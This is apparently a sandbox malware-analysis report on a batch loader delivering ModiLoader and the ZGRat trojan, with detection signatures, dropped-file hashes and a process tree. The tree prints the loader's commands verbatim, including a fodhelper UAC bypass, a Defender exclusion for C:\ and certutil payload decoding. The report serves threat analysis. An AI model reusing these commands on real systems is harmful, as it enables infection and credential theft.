Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/05/2024, 12:34

General

  • Target
    doc023561361500.cmd
  • Size 3.5MB
  • Sample240513-pr2hesfd63
  • SHA256 a092e4a960900082c38c3b96ba17b62efa3d8b7a558ea9964478afa459fcc1a5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detect ZGRat V1 33 IoCs
  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • ModiLoader Second Stage 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 26 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1736
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:636
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
        2⤵
        • Executes dropped EXE
        PID:396
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
        2⤵
        • Executes dropped EXE
        PID:2524
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1020
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:2900
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4496
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
            3⤵
            • Executes dropped EXE
            PID:4824
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1720
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            3⤵
              PID:4920
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2512
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              3⤵
                PID:1808
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1916
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                3⤵
                  PID:1604
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3440
                • C:\Users\Public\xkn.exe
                  C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1572
                  • C:\Users\Public\alpha.exe
                    "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3960
                    • C:\Users\Public\ger.exe
                      C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      5⤵
                      • Executes dropped EXE
                      • Modifies registry class
                      PID:4904
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2188
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                  3⤵
                  • Executes dropped EXE
                  PID:3496
              • C:\Windows \System32\per.exe
                "C:\\Windows \\System32\\per.exe"
                2⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:2856
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3548
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM SystemSettings.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1192
              • C:\Users\Public\Libraries\Ping_c.pif
                C:\Users\Public\Libraries\Ping_c.pif
                2⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1200
                • C:\Users\Public\Libraries\gcggysoG.pif
                  C:\Users\Public\Libraries\gcggysoG.pif
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3000
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                2⤵
                • Executes dropped EXE
                PID:4464
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                2⤵
                • Executes dropped EXE
                PID:1656
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                2⤵
                • Executes dropped EXE
                PID:1148
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:4352
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:3456
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:1208
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:2772
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:1796
            • C:\Windows\system32\SystemSettingsAdminFlows.exe
              "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
              1⤵
                PID:4288

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    __PSScriptPolicyTest_cac0q5fr.gfi.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cac0q5fr.gfi.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512

                    Ping_c.pif

                    • Path C:\Users\Public\Libraries\Ping_c.pif
                    • Size 1.2MB
                    • SHA256 96608d5d3810216c29d3e9ed53a0c004b7787da923f17922bf8af3405b85d90a
                    • MD5 SHA1 SHA512 SSDEEP

                    gcggysoG.pif

                    • Path C:\Users\Public\Libraries\gcggysoG.pif
                    • Size 66KB
                    • SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
                    • MD5 SHA1 SHA512 SSDEEP

                    Ping_c.mp4

                    • Path C:\Users\Public\Ping_c.mp4
                    • Size 2.4MB
                    • SHA256 e0b66384d8a8da0fc7921d7bda9e6ea51abe4477009f82d27d4588c3444baea3
                    • MD5 SHA1 SHA512 SSDEEP

                    alpha.exe

                    • Path C:\Users\Public\alpha.exe
                    • Size 283KB
                    • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                    • MD5 SHA1 SHA512 SSDEEP

                    ger.exe

                    • Path C:\Users\Public\ger.exe
                    • Size 75KB
                    • SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
                    • MD5 SHA1 SHA512 SSDEEP

                    kn.exe

                    • Path C:\Users\Public\kn.exe
                    • Size 1.6MB
                    • SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
                    • MD5 SHA1 SHA512 SSDEEP

                    xkn.exe

                    • Path C:\Users\Public\xkn.exe
                    • Size 442KB
                    • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                    • MD5 SHA1 SHA512 SSDEEP

                    per.exe

                    • Path C:\Windows \System32\per.exe
                    • Size 48KB
                    • SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/1200-75-0x0000000000400000-0x0000000000536000-memory.dmp

                    memory/1572-45-0x00000241A0040000-0x00000241A0062000-memory.dmp

                    memory/3000-127-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-115-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-83-0x0000000031F10000-0x0000000031F6C000-memory.dmp

                    memory/3000-84-0x0000000034650000-0x0000000034BF4000-memory.dmp

                    memory/3000-85-0x0000000034560000-0x00000000345BA000-memory.dmp

                    memory/3000-89-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-99-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-145-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-144-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-139-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-138-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-135-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-133-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-132-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-129-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-78-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/3000-125-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-123-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-121-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-119-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-117-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-81-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/3000-113-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-111-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-109-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-107-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-101-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-97-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-95-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-93-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-91-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-141-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-105-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-103-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-87-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-86-0x0000000034560000-0x00000000345B5000-memory.dmp

                    memory/3000-1172-0x00000000345C0000-0x0000000034626000-memory.dmp

                    memory/3000-1173-0x0000000035B70000-0x0000000035BC0000-memory.dmp

                    memory/3000-1174-0x0000000035BC0000-0x0000000035C5C000-memory.dmp

                    memory/3000-1177-0x0000000035CE0000-0x0000000035D72000-memory.dmp

                    memory/3000-1178-0x0000000035EF0000-0x0000000035EFA000-memory.dmp